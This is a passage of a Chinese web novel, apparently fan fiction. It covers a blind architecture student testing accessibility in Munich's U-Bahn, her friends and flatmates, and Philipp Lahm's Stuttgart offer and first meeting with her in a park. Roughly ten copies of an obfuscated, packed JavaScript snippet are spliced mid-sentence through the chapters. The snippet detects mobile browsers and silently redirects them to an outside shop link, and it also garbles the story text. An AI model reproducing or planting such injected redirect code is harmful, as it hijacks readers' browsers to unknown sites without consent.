不知不觉中,这些背包已经成了他通勤路上固定的彩色背景板。甚至有个他自己都未曾深究的小习惯悄然形成:走出列车时,他会用一两秒猜一下今天会看见哪个颜色。“今天是绿色,还是蓝色?”思绪一闪而过。 直到第四次猜错(他猜黄色,实际看到的是粉红独角兽),一个比肥皂泡还轻的念头才浮起:“她怎么会有这么多……那种包?” “Bis en, Philipp!(明天见,菲利普)”队友拍了下他的肩。 “Bis en!”他条件反射般回应。 那个念头便被日常的告别声戳破了。 4月28日,周一清晨。 拉姆像往常一样走下U2列车——那个每周一准时出现的荧光橙色背包,今天缺席了。 他没在意。U3进站,车门滑开。他侧身让开下车的人流,正准备上车,余光却被乘客中几个穿反光背心的身影攫住。 最先闯入视线的,并非那个此刻正挎在女孩身侧的背包,而是她额角上贴着一个造型夸张的卡通创口贴。 紧接着,他听见走在她旁边的工作人员带着笑意说:“这次可不是模拟游戏了,多纳贝德。小心再磕破头。” 被唤作“多纳贝德”的女孩“哎呀”两声,声音里带着点窘迫的活泼。她和同伴朝着相反方向走去。 拉姆踏进车厢,车门合拢。 整个过程不过三四秒,但“多纳贝德”——原来她叫多纳贝德,奇怪的名字。紧随其后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326734|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是一个疑问:“怎么受伤了?” 不,他想这个干什么,和他又没有关系。菲利普晃了晃脑袋,把那个疑问甩出去。 那个人…包很奇怪,创口贴很奇怪,名字——也很奇怪。菲利普无意识地扣了扣自己的背包带子。 —— 至于多贝额角那个创口贴的来历,还得把时间拨回上个周末。 在马克斯沃施塔特的合租公寓里,马克斯忽然心血来潮,提议道:“我们戴上眼罩,来玩‘盲人模拟器’怎么样?” 莉娜和多贝积极响应——虽然多贝根本无需“模拟”就已身处其中。另外两位新手“盲人”显然极不适应,走得磕磕绊绊,不是踢到桌角就是撞上门框。多贝虽然看不见,却能从他们接连响起的痛呼和哀嚎里准确判断“战况”,笑得乐不可支。 乐极生悲。 马克斯在黑暗中踢到桌角撞上莉娜,莉娜一个趔趄扑向小书架——一本厚重的精装书不偏不倚飞出来,精准命中了多贝的额角。 三人光荣负伤。 周一清晨,当多贝顶着那个夸张的卡通创口贴出现在团队中时,大家都吓了一跳,紧张地上前关心:“出什么事了?严重吗?”等听完这令人哭笑不得的事故报告,众人是好笑又无奈。 下车的时候安全员笑着提醒她:“这次可不是模拟游戏了,多纳贝德。小心再磕破头。” “哎呀哎呀…”多贝的声音里带着点不好意思的活泼。 16. 三条轨道 生活对于多贝来说,快得像被按下了快进键的几秒钟,每一分钟都有了确切的形状和重量。 每周一上午、周二、三的下午,属于Scheidplatz。测试时间配合她的课表做了调整,不过测试本身总是充满了变量。有些问题会随着人流和时间改变面貌。 志愿者的反馈中,“高峰迷失”是一个高频词。那个广为流传的、令人哭笑不得的例子:一位本应从U2换乘U3的志愿者,在晚高峰的汹涌人潮中,被裹挟着转了一圈,竟又茫然地踏回了来时那趟U2列车。事后分析,平坦开阔的换乘平台在失去引导后,变成了方向感的迷宫,而密集的人流则成了最不可预测的干扰信号。 多贝需要在这流动的迷宫中,为那些看不见的“路标”重新定位。 学业是另一条并行、且绝不轻松的轨道。 周一是节奏最疯狂的一天。结束上午的测试搏斗,她就要赶往学校。感谢托马斯——他总会在十二点半建筑史III大课的教室门口等她,手里常常备着一杯救命的咖啡。 材料学课上,范德尔教授的声音配上阶梯教室的暖气,杀伤力堪比安眠药。完全依赖视觉操作的CAD才是真正的难题。托马斯的声音成为唯一的导航。两小时下来,两人精疲力尽。但下课铃一响,她就得背上背包,转战Scheidplatz——至少那里的问题,是可以真实摸到的,这让她感到安心。 构造学III作为图片最多的课是托马斯的“受难时刻”,一节课下来他灌两瓶水仍觉嗓子冒烟。最恐怖的是令全系闻风丧胆的结构力学基础II,各种公式角度结构分析化成浆糊黏住转动的大脑。 下课铃不代表解脱,而是意味着她需要立刻切换状态参加团队周会。会议上各小组把问题倒在一起,碰撞出新的麻烦,往往意味着——加班。周五傍晚,在格吕恩教授兴致高昂的安排任务的声音里,会议室里的叹气声此起彼伏,这是唯一不用翻译的共同语言。 她的时间像被拧到极限的海绵,唯有周末逃回施瓦宾格的家里,或者和莉娜他们厮混时,才能获得属于“多贝”的换气时间。学习是固定节目,而灵魂必需品则是——麻将。她常常订好半夜的闹钟,克服时差,才能与中国的麻友们在线鏖战。“一定要教会莉娜他们……” 在困得眼皮打架、却还不忘听牌碰牌的午夜,这个念头总会在她脑海中闪过。 时间匆匆流过,忙碌的节奏依旧,但多贝私人世界的轮廓却愈发清晰——那个由她、莉娜和马克斯构成的“三角形”,正自然而扎实地扩展为“小四重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326735|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏”。 新成员托马斯·克劳泽,以其温和沉稳下藏着的狡黠幽默,与三人组产生了奇妙的共振。 当然,融合并非全无波澜。最初,他确实感受到了来自马克斯·福格尔的、近乎本能的审视。这倒并非针对托马斯本人,而是在马克斯那艺术生特有的、纤细又高傲的认知里,他的两位发小多少都带着点“生活不能自理的天才式弱智”气质,需要他来守护。(有趣的是,莉娜和多贝对此抱有完全同等的看法:除了我以外,另外两个都是需要照看的笨蛋。) 但也许友情就是这么莫名其妙的东西,有人偏偏可以跨过二十三年的距离,仿佛他一直在那里。一种新的平衡在悄然建立。四人已经开始认真地讨论,是否要一起租一间更大的公寓。理由现实又诱人:租金分摊,人均支出反而更低。 “虽然谁也不缺那点钱,”莉娜在某个吃着披萨的夜晚总结道,“但当个节俭的人总没坏处,对吧?” “而且,那样会更舒服。”多贝补充道。她想象中的新公寓,会有更宽的通道,也许能有个让马克斯摆开画架的角落和放得下莉娜三台电脑的大桌子。 于是,在繁忙的学业和项目之外,寻找未来“家园”的想象,成了这个小团体共有的、带着暖意的盼头。 17. 被裹挟的坐标 五月的第二周,周二下午。 Scheidplatz站的晚高峰如同涨潮,悄然而迅猛地淹没了站台的每一寸空间。 赛季末,菲利普·拉姆训练结束得比平时稍晚一些,踏入换乘通道时,正赶上人流的峰值。他习惯性地朝那个荧光色背包常出现的区域瞥了一眼——今天背的是那个荧光黄、带着小白花的卷毛怪物。他看见她和她的团队成员正被人潮半包围着,似乎在进行什么环节。 多贝今天的测试任务包含了体验完整的 “换乘上车”流程。按计划,她应在车门关闭前下车,回到站台。 然而,计划在汹涌的晚高峰面前显得脆弱不堪。当U2列车进站,车门打开,下车的人流与急于上车的人流瞬间交汇、冲撞。 “Bitte, ich muss wieder raus!(请让一下,我得下车!)”多贝的声音在嘈杂中显得急切而微小。周围的人听到了,尽力侧身,但空间已被彻底锁死。她被身后更多不明就里、只是赶着回家的乘客,无可抗拒地 “推” 进了车厢。 车门关闭的提示音尖锐响起。 “Moment!(等等!)”站台上,几名团队成员试图挤过来,但为时已晚。 咔哒。 门扉合拢,列车启动。 多贝茫然地站在紧闭的车门边,手中的盲杖轻轻抵着金属门框,仿佛在确认这个突如其来的、计划外的位移。站台上,赶来的团队成员与她隔着一层她看不见的玻璃,面面相觑(当然,是她看不见的“相觑”)。耳机里,是协调员焦急的呼喊:“多贝!待在…滋…我们下……”,也随着距离拉远、信号中断,化作一片寂静的忙音。 菲利普·拉姆目睹了全过程。 他就站在车厢角落,将这场小小的、因城市通勤的巨大压力而产生的意外尽收眼底。他看到女孩被挤上车,看到她的茫然,也看到站台上团队成员徒劳的追赶。 一个念头闪过:她可能需要帮忙。 他几乎要迈步上前了—— 一个看起来三十多岁、穿着普通夹克的男人,从后面车厢匆匆挤了过来,脸上带着如释重负的表情,一把抓住了多贝的胳膊。 “谢天谢地,多贝!我可算赶上你了!” 是她认识的人。 菲利普即将抬起的脚跟,无声地落回了原地。 多贝听到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326736|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个声音,紧绷的肩膀瞬间松弛下来,长长地吁了一口气。 “幸好你在,光靠我自己,下一站想坐回去真有点困难。” 她的语气里没有后怕,反而迅速切换成了一种近乎轻快的调子,甚至带上了一点小小的、恶作剧得逞般的快乐,“现在我们可以光明正大地偷几分钟懒啦!” 安全员被她逗笑了。 菲利普收回了目光。 心里那点是否帮忙的念头轻轻消散。一丝近乎好玩的情绪掠过心头——看来不管是谁,慕尼黑的晚高峰都一视同仁。 列车在隧道中平稳行驶。 菲利普的思绪早已飘远,开始回顾今天训练中自己几次一对一防守的失误。而多贝,则在短暂的、计划外的“放风时间”里,靠着车厢壁,和身边的安全员有一搭没一搭地聊着天,已经在脑海里开始构思,该如何将这次意外被运走的体验写成一份报告提交。 城市的地铁依旧按照既定的时刻表,载着成千上万个故事呼啸前行。其中一个故事的主角,在同一片空间里,呼吸着同样的空气,思考着截然不同的事情,然后在几分钟后,于不同的站台,再次汇入各自平行、却偶尔产生短暂交错的命运之流。 18. 虚惊、迁徙与四座惊喜 习惯是个奇怪的东西,在你意识到它之前它就已经生长在那里。 餐厅里,托马斯将手边的甜芥末酱递给莉娜,得到她一句笑嘻嘻的感谢。 他没想到那个出于“顺手的善意”的学习助理的申请会给自己的生活带来这么大的改变。 寒假前他向施密特教授提交申请加入他的“城市超高层住宅”的新项目,意外听见鲍尔教授正在和施密特教授感叹自己工作室的学生出了意外双眼失明。 多纳贝德。他对这个名字非常熟悉。基础设计课两个人常常分到一个小组;赶图周也时常互借工具,有时候在图书馆熬夜熬不动抬头看见对方还在继续,就觉得自己也能再坚持一会;更别说各种组织和竞赛,两个人是“老对手”,直到大三两个人因为设计工作室方向选择不同,见面才逐渐减少。 遗憾。 托马斯为自己失去了一个优秀的同学和对手而遗憾。 也许我可以做点什么。 于是他提交了学习助理的申请。 他真心地后悔过自己为什么要做这什么学习助理——一遍遍的重复,沟通和理解的差异,繁重的任务…他停下来看着旁边还在努力跟上他思路的多贝,叹了口气,算了,最难的总是另有其人。 身边聚集的人影逐渐变多,一个,两个,三个。多贝带着她的朋友们钻进他的生活里并强势地留下属于他们的友情标记。等到回过神来,他才发现他习惯了多贝莫名其妙的冷笑话,习惯了莉娜高兴时会高起来的语调,习惯了马克斯的吐槽和他衬衫上每天变换位置的颜料。 多贝正在对面手舞足蹈地讲述自己如何被地铁“绑架”又平安归来。几个人跟着她的描述倒吸几口凉气,随即又被她轻描淡写又带点无奈的妥协的叙述逗得笑了起来。 笑声里他看见马克斯抬手拍了拍她的背,看见多贝想笑却扯不动的嘴角。他恍然意识到,在陌生的车上,身边是拥挤的人群,前方是未知的站点,车门关闭的瞬间以及信号断开时无法联系团队时她该有多茫然和恐慌。 托马斯默默给多贝的杯子里添满果汁。 晚饭后四个人在路口道别,“再见,托马斯,明天见。” 托马斯看着他们三个挤成一团走向另一个方向,转身回到自己的公寓。晚饭时的热闹衬得现在的安静有些不合时宜,托马斯突然觉得自己住了两年的公寓有些空过头了。 他期待着四个人搬入新公寓的那一天。 经过一番寻觅与权衡,他们终于签下了一套离地铁站更近、社区环境更安静、而人均租金反而更可爱的四居室公寓。搬家日是场体力与意志的考验,当最后一个纸箱归位,托马斯和马克斯累得手臂直抖,相视苦笑。 四个人瘫在沙发上一动不动,任由春日的阳光穿过窗户洒在身上。窗帘被风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326737|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤得微微晃动,托马斯觉得也许应该换一个更轻盈些的才好。 某个傍晚,莉娜神秘兮兮地把大家叫到楼下。 映入眼帘的,是一辆红色的、崭新发亮的四座串联自行车,像一只等待组队冒险的机械怪兽,神气活现地停在楼下。 “哇哦——!” 马克斯甚至吹了个九曲十八弯的口哨。多贝在旁边听着,急得跳脚:“什么什么?!到底是什么东西?!”。 托马斯和马克斯对视一眼,两个人坏笑着,谁也不说,只是一个劲地在多贝耳边重复“太酷了!”“天呐!莉娜你简直是个天才!”,惹得多贝更加急躁,直到莉娜分别给了他们一个肘击,两人才安静下来。 莉娜牵着多贝的手按在自行车上,托马斯注意到多贝最初缩了一下,但是莉娜按住了她:“别怕。” 很快,随着她顺着莉娜的牵引摸过自行车的轮廓,多贝扑到莉娜身上激动地尖叫。 这让莉娜兴奋得音调再度拔高了不少:“周末我们骑它去兜风吧!就沿着伊萨尔运河,肯定特别好玩!你们说怎么样?!” “好耶——!!!” 他们跳起来,恨不得手脚并用举过头顶来表达赞同。 那一刻,什么考试竞赛又或者项目压力,全都被抛到了九霄云外。眼前只有初夏的风、朋友的欢笑,和一辆有点傻气又无比美妙的四人坐骑。 19. 来自斯图加特的颤音 2003年5月18日,南地区联赛收官。 拜仁慕尼黑二队1-1战平翁特哈兴二队。菲利普·拉姆作为主力右后卫,踢满了全场九十分钟。比赛谈不上精彩,更像是一场例行公事的收官。汗水浸透的球衣贴在身上,带着比赛结束后的微凉和疲惫。 更衣室的嘈杂尚未完全平息,手机在储物柜里震动起来。一个陌生的号码。 “喂,您好。” “我是——马加特。” 电话那头的声音平稳,但那个姓氏的尾音似乎带着某种奇特的拖曳感,像手风琴拉出的一个悠长颤音,在空气中悬停。 马加特?哪个马加特? 菲利普的呼吸微微一顿,没有立刻接话。 “菲利普?” 那头的声音再次响起,确认着他的存在。 “是的,我在听着,马加特先生。” 他让自己的声音保持平稳,尽管心跳的节奏已经悄然改变。 “我想要把你带到斯图加特。” 咔嚓。 仿佛脑子里有根弦被轻轻拨断,又或者是更衣室里某个队友打开水瓶的声音被无限放大。一瞬间,所有的背景音——队友的谈笑、物品的碰撞、远处球场隐约的广播——全都退潮般远去。菲利普下意识地屏住了呼吸,手指无意识地攥紧了手机冰凉的外壳。 电话那头没有等待他消化这句话,仿佛这只是一个通知,而非商议。 “你仔细考虑一下。” 说完,听筒里传来干脆利落的忙音。 嘟——嘟——嘟—— 考虑一下?有什么好考虑的? 19岁的菲利普·拉姆,刚刚跟随拜仁慕尼黑预备队踢完本赛季最后一场丙级联赛,汗水还未完全干透,就接到了费利克斯·马加特——那位将沉沦的斯图加特重新拖回欧洲冠军联赛版图的铁腕主帅——亲自打来的电话。 他需要整理一下思绪。 他已经在拜仁踢了很久,司职右边路。两年前他和拜仁白纸黑字的合同规定,本赛季结束,他将自动获得职业球员身份。 菲利普知道,他与职业球员之间并没有太大的差距。假如他能与最顶尖的球员一起训练,假如他每天都能观察最优秀的球员的动作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326738|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假如他能得到每天在训练场上与他们较量的机会,他能证明他可以达到一队的要求,他在与最好的球员一起训练的过程中会变得更加出色,他同样能够证明自己有能力代表拜仁一线队出场比赛。 但问题就在这里,一切都只是“假如”。 而此刻,一个巨大的、坚实的“非假如”砸在了他面前: 马加特的斯图加特。一家即将征战欧洲冠军联赛的俱乐部主教练亲口邀约。 这意味着:每日与真正的职业球员一起训练以及职业球员的身份。一个清晰可见的、更高级别的竞技平台。 留在拜仁,是坚守巢穴,但需要穿越漫长的、充满不确定性的预备队通道。前往斯图加特,是跳上一艘已经起航、目标明确的战舰,是通往顶级联赛最直接的通道。 电话已经挂断,但那个颤音般的“马加特”,和“斯图加特”这个地名,却像两颗投入心湖的巨石,激起的不再是涟漪,而是足以改变航道选择的汹涌暗流。 他知道,接下来的几天,他都需要和这个突如其来的“考虑一下”共同度过了。 20. 纪念日和逃离 五月的最后一周,周二,5月27日。 对于格吕恩教授及其团队而言,这是一个阶段性的胜利日。在经历了漫长的问题反馈、空间诊断、无数次团队会议上的争吵之后,项目的第一阶段——“现状诊断与问题定义”——终于画上了一个圆满的句号。 格吕恩教授脸上带着难得的、松弛的笑容,向大家宣布:“第一阶段圆满结束。你们做得非常出色。我给你们所有人放一周假。” 当然,这“假期”某种程度上也是不得已——接下来是施工组进场铺设导盲系统的阶段,还需要组织大量盲人志愿者进行初步可用性测试,原本的实地调研小组确实也插不上手。但无论如何,一个阶段的尘埃落定,总是值得放松一下紧绷的神经。 然而,对于多纳贝德·魏丝来说,5月27日承载着远比一个项目节点更私密、更沉重的重量。 几个月前的这一天,她的世界在感受到铬酸溶液的冰冷触感后,陷入了一片模糊的、仅有光感的混沌。人生的轨道被毫无预警地扳向了另一条她从未设想过的岔路。 “你真的不和我们一起回大学区吗?” 格吕恩教授在站台边,不放心地再次确认。她看着多贝,声音里带着关怀和担忧,“要不让安全员陪你一起?至少送你过去。” “不用,真的没必要!” 多贝欢快地摆手,脸上的笑容明亮得几乎能驱散地铁站永恒的阴凉,“这条路我们这几个月都测了成千上万遍了,熟到我闭着眼都能走!” 她甚至开了个小小的、关于自身的玩笑,“哦!我忘了,我现在也不用特意闭眼啦!” 她等着大家的笑声,或者至少是无奈的气音。 但没有。一阵短暂的的沉默,只有远处列车进站的风声隐隐传来。 “多贝…” 格吕恩教授轻轻叹了口气,语气柔软而笃定,“你很快就会重新看见的。” 多贝脸上完美的笑容出现了一丝极细微的裂痕。她对自己的笑话很满意。但显然,周围的人还没有准备好,或者永远无法准备好,与她一起面对这片阴影。他们选择用安慰和希望来覆盖它,而这恰恰让她感到一种隔阂。 “好啦好啦!别担心我!”她迅速用更轻快的声音掩盖过去,侧耳倾听,“我听见车来了。你们快走吧!” 她几乎是推着团队和教授上了车。直到列车驶离,站台重新被一种空洞的轰鸣和陌生人的低语填满,多贝脸上那层明亮、活跃的笑容缓缓卸下。 面无表情。甚至有些空洞。 在这一天,她不想和任何熟悉的人待在一起。不需要朋友的插科打诨,不需要家人小心翼翼的呵护,甚至不需要教授专业的鼓励。她需要一点绝对的、只属于自己的空间和时间,来处理那些在平日被忙碌压制、却在今天这个日期蜂拥而至的、粘稠的私人情绪。 她知道,理性上,一切都在变好。 她的名字在中德两国的角膜库的等待列表上,复明是概率很高的事。 她找到了愿为之奋斗一生的新方向——无障碍设计,这甚至让她对“失去视力”产生了一种近乎荒谬的感激。 她的社交圈在扩展,学业在稳步推进…… 她似乎没有任何悲伤的理由。 她应该感恩,应该充满希望,应该像个小太阳一样继续发光。 “Entschuldigung.(对不起。)” 盲杖的尖端传来了轻微的阻碍感,可能是路人的鞋跟,也可能是固定在地面的休息椅腿。她无法,也懒得去分辨。道歉声迅速、熟练、甚至带着一丝麻木地脱口而出。这是失明后学会的第一种“社交货币”,用于购买通行权和避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326739|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免冲突。 等车时,队伍里传来一个孩子稚嫩、毫无恶意甚至充满同情的声音:“妈妈,看那个姐姐,她看不见……好可怜哦。”紧接着是母亲慌忙的低声阻止和转向她的、充满尴尬的道歉:“抱歉……” 多贝只是循着声音的方向,礼节性地弯了弯嘴角,示意“没关系”。她不需要怜悯,那比歧视更让她感到一种无处安放的虚弱。 膝盖隐隐作痛。虽然看不见,但那种熟悉的钝痛告诉她,那里一定又是一片青紫。这是昨天出门时,被那个毫无预警的、凸起半厘米的检修井盖绊倒留下的纪念。摔倒后她跪在地上,直到有路人询问“是否需要帮助”,她才缓缓爬起,笑着回答“谢谢我没事”。 这座城市里,无数个这样微小的、不被明眼人在意的“缺陷”,都在她身上留下了实实在在的伤痕。 一次次的习惯性道歉。 一次次接收到的、令人窒息的怜悯。 一次次因环境忽视而累积的身体伤痕。 它们如此琐碎,如此日常,甚至无法构成一个“事件”。但它们像无数片极其微小的雪花,在这个特殊的纪念日里,持续地落下,堆积在她心底那片努力维持晴朗的天空下,让那里泛起了连绵的、潮湿的阴翳。 “U3 Richtung Moosach.(U3 开往莫萨赫方向。)” 广播响起。 这是与她回家、回学校、回一切熟悉地方相反的方向。 多贝没有犹豫。她握紧盲杖,踏上了列车。 今天,她需要一次短暂的逃离。逃离那些善意的担忧,逃离那些熟悉的路径,逃离那个“一切向好”的、必须坚强的自己。 她需要允许自己,在这一天,在一个陌生的、无人认识她的角落,安静地和心里那片阴雨待一会儿。 21. 十字路口的意外 五月底的慕尼黑,白昼被拉得很长。傍晚六点多,天光还亮着,只是色调变得稠密,像掺了灰的蜜。 菲利普·拉姆从体测中心走出来,肩上搭着运动外套。刚刚结束的赛季总结体测耗时不短,数据表格和身体反馈还在脑子里嗡嗡作响,混合着另一件更重的心事——马加特的电话,斯图加特,那个悬在职业分岔路口的邀请。 他想独自呆一会儿,穿过奥林匹克公园,北侧有一片开阔的绿地。这里离他家不远,坐地铁比等俱乐部安排的车更自在。训练基地的喧嚣暂时退去,公园里只剩零星遛狗的人和慢跑者,很安静。他需要这份安静,好让脑子里那些关于未来的利弊权衡暂时沉一沉。草皮刚修剪过,空气里有股辛辣的青草汁液气味,混着泥土被晒了一天后散发出的微腥的暖意。 是啜泣声。很轻,断断续续。 菲利普的脚步几不可察地顿了一下。他无意窥探陌生人的私密情绪。他几乎要像绕过路边的长椅一样,自然地绕开这片哭泣声。 但就在视线即将移开的刹那,一抹极其扎眼的颜色撞进了余光—— 红与蓝。 一种近乎挑衅的撞色搭配,一个造型古怪的……生物?那是一只他从没见过的、裹着蓝色毛绒大衣的红脸小怪物,正龇牙咧嘴地趴在一个蜷缩的人影怀里。 这个视觉符号太独特了,独特到在过去数周的Scheidplatz站,已经被动地、反复地刻进了他的记忆里。 是新的怪物,但毫无疑问,属于那个人。 脚步彻底停住了。 他转过身,目光越过低矮的冬青灌木,落在不远处的木质长椅上。 那个奇怪的、抢眼的红蓝撞色小怪物背包,以及它的主人,熟悉的人影,不熟悉的名字——多纳贝德。 没有荧光条背心,没有团队同伴,没有那个总是拿在手里的厚重平板。她一个人蜷在长椅上,额头抵着膝盖上那个怪异的红蓝背包,肩膀随着压抑的抽泣微微耸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326740|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。傍晚最后的阳光透过树叶,在她身上投下斑驳晃动的光斑。 这和他认知里的任何一副画面都对不上。Scheidplatz站那个总是出现在固定时间、做着专业测试、甚至能苦中作乐宣布“偷懒”的女孩,此刻缩在公园长椅上,独自一人,在这片安静的绿地里,显得如此孤立无援。 菲利普站在原地,一时之间有些不知所措。模糊的、属于十九岁年轻人的本能,让他感到一丝猝不及防的窘迫。他该走开,这显然是个私人时刻。可……就这样走开,好像又有点太……冷漠了?尤其是,他勉强能算“见过”她,甚至“知道”她的名字。 去,还是不去? 这个几秒钟前还只关乎他足球生涯的问题,此刻被赋予了一层全新的私人维度。 他该悄悄离开,当作什么都没看见,维持彼此陌生人般的体面?还是……应该做点什么? 晚风依旧轻柔,吹动着草叶,也吹乱了他原本清晰的行进路线。 22. “对视” 她看起来有点……狼狈。 这是闯入菲利普·拉姆脑海的第一个、也是最直接的印象。头发乱七八糟地翘着,随着她抽泣的节奏轻轻颤动。她不停地吸着鼻子,一只手有些焦躁地在那只奇特的怪物背包里徒劳地翻找着,动作带着点绝望的急切。 大概是在找纸巾。 第二个念头紧随其后。 他应该离开。这是最符合他性格、也最不打扰对方的选择。窥见他人如此私密的崩溃时刻已属越界,默默离开才是成年人的默契。 但……她的哭泣并没有停止,翻找的动作越发焦躁,甚至带上了一丝自暴自弃的意味。肩膀在暮色中微微发抖。 双脚仿佛有了自己的意志,迟疑着,最终还是迈开了步子——不是走向地铁站,而是转向了那条通往长椅的岔路。 他在她身旁停下,保持着一段礼貌的距离,然后从自己的运动裤口袋里摸出一包未开封的纸巾。他抽出一张,犹豫了一下,最终没有直接递到她手里,而是轻轻将纸巾柔软的一角,碰了碰她拽着背包的手背。 “Taschentuch.(纸巾。)” 多贝的哭声骤然停住了,像是被按下了暂停键。她翻找的动作也僵在半空。 她慢慢地抬起头,转向声音和纸巾传来的方向。 脸上还挂着未干的泪痕,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326741|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眶和鼻尖通红,绿色的眼睛因为哭泣而显得湿润,却没有焦距。她的目光茫然地“望”向菲利普所在的大致方向,带着一种刚刚从极度情绪中抽离、尚未完全回到现实的怔忡,以及一丝对陌生人的本能警惕。 空气在这一刻凝固了。只剩下远处隐约的车声,风吹过树梢的叹息,和她尚未平复的、细微的抽气声。 一个刚刚卸下所有伪装的、悲伤而脆弱的女人。 一个出于最基本善意介入、却浑身写满“不想打扰”和“不知如何是好”的年轻男人。 在奥林匹克公园暮色渐浓的静谧里,完成了他们第一次真正意义上的、静止的、无声的“对视”。 23. “危机” 多贝要急死了。 今天,本该是和过去几个月里每一个烦闷的纪念日一样,是一次私密且绝对安全的情感泄洪。流程她都想好了:在这里独自哭一场,把心里那点负面情绪哭出去,然后收拾好自己,回家,继续当那个发光发热、不让任何人担心的小太阳多贝。她对此并无不满,甚至觉得这是一种有效的情感管理。 但是,此刻,所有精心准备的悲伤情绪都被一股更原始、更迫切的生理危机冲得七零八落—— 她的鼻涕要流出来了! 该死!该死!该死!! 多贝在心里骂了自己一百遍怎么又忘记带纸巾了!她焦躁地在“莫提玛”(那个红蓝怪物背包)里疯狂摸索,指尖扫过记录板冰冷的硬壳、盲文标签的凸点、缠绕的耳机线……就是没有那该死的、柔软的纸巾包! 悲伤? 此刻被一种更强烈的、混合着狼狈、焦急和自我厌弃的情绪彻底压垮。就在她因这狼狈的处境而即将引发第二波(完全是气恼的)泪水时,一个声音插了进来—— 平缓的,听起来有点年轻的男声,没什么情绪起伏,甚至有点过于简洁。 “Taschentuch.(纸巾。)” 